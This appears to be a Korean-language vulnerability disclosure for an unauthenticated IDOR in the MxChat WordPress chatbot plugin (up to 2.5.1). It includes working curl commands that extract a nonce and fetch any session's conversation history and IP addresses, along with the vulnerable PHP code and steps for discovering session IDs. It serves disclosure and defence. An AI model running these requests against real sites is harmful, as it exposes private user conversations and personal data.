
MxChat – WordPress용 AI 챗봇 <= 2.5.1 - 비인증 정보 노출
MxChat Basic 플러그인은 mxchat_fetch_conversation_history AJAX 엔드포인트에서 세션 소유권을 확인하지 않으므로, 인증되지 않은 사용자가 안전하지 않은 직접 객체 참조(IDOR) 취약점을 통해 다른 사용자의 대화 기록과 IP 주소에 접근할 수 있습니다.
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=$SESSION_ID" \
-d "nonce=$NONCE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" | jq
/includes/class-mxchat-integrator.php 파일의 함수는 클라이언트가 제공한 만을 기반으로 대화 데이터를 검색하며, 요청자가 세션을 소유하고 있는지 확인하지 않습니다. 따라서 유효한 nonce(프런트엔드 JavaScript를 통해 획득 가능)를 가진 모든 인증되지 않은 사용자가 다른 사용자의 비공개 대화 데이터에 접근할 수 있습니다. 또한 대화 기록에는 필드에 저장된 사용자 IP 주소가 포함되어 있으며, 이는 대화 데이터와 함께 노출됩니다.
mxchat_fetch_conversation_history()session_idagent_nameIP 주소 노출은 메시지 저장 과정에서 발생합니다:
class-mxchat-integrator.php 파일에 위치:
361 // 4) Determine user_identifier
362 $user_identifier = $agent_name
363 ? $agent_name
364 : MxChat_User::mxchat_get_user_identifier();
여기서 MxChat_User::mxchat_get_user_identifier()는 인증되지 않은 사용자의 IP 주소를 반환합니다:
9 public static function mxchat_get_user_identifier() {
10 if (is_user_logged_in()) {
11 $current_user = wp_get_current_user();
12 return $current_user->user_login;
13 } else {
14 return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15 }
16 }
이 IP 주소는 대화 기록에 agent_name으로 저장되며, 대화 데이터를 검색할 때 노출됩니다.
세션 ID는 업로드된 파일 이름에 직접 포함됩니다. 사용자가 채팅 인터페이스를 통해 PDF 또는 Word 문서를 업로드하면 파일은 예측 가능한 명명 패턴으로 저장됩니다: mxchat_{session_id}_{timestamp}.pdf 및 mxchat_word_{session_id}_{timestamp}.docx. 이로 인해 세션 ID는 다양한 공격 경로를 통해 발견될 수 있습니다: 업로드 디렉터리에서 서버 인덱싱이 활성화된 경우 디렉터리 목록, WordPress 미디어 라이브러리 접근, 검색 엔진에 의한 색인 가능성 등입니다.
class-mxchat-integrator.php의 취약한 코드 조각:
107 function mxchat_fetch_conversation_history() {
108 if (empty($_POST['session_id'])) {
109 wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110 wp_die();
111 }
112
113 $session_id = sanitize_text_field($_POST['session_id']);
114 $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115 $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116
117 if (empty($history)) {
118 wp_send_json_success([
119 'conversation' => [],
120 'chat_mode' => $chat_mode
121 ]);
122 wp_die();
123 }
124
125 wp_send_json_success([
126 'conversation' => $history,
127 'chat_mode' => $chat_mode
128 ]);
129 wp_die();
130 }
대상 WordPress 사이트의 아무 페이지나 이동하여 페이지 소스에서 mxchat_chat_nonce를 추출합니다. 이 nonce는 프런트엔드 JavaScript에서 mxchatChat.nonce로 노출되며 모든 방문자가 사용할 수 있습니다.
세션 ID(형식: mxchat_chat_{9 alphanumeric characters})를 식별합니다. 세션 ID는 디렉터리 목록이나 미디어 라이브러리 접근이 활성화된 경우 업로드된 파일 이름을 통해 발견하거나, 순차 패턴이나 일반적인 값을 테스트하여 열거할 수 있습니다.
다음 curl 명령을 실행하여 임의 세션의 대화 기록을 검색합니다:
curl -X POST http://example.com/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=mxchat_chat_7jxi3jsdb" \
-d "nonce=YOUR_NONCE_HERE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest"
{
"success": true,
"data": {
"conversation": [
{
"id": "6903e8a1e195e",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863841925,
"agent_name": "IP.REDACTED"
},
{
"id": "6903e8a33c86a",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863843248,
"agent_name": "IP.REDACTED"
}
],
"chat_mode": "ai"
}
}
agent_name 필드에는 인증되지 않은 사용자의 IP 주소($_SERVER['REMOTE_ADDR'])가 포함되어 있으며, 이는 대화 데이터와 함께 노출됩니다.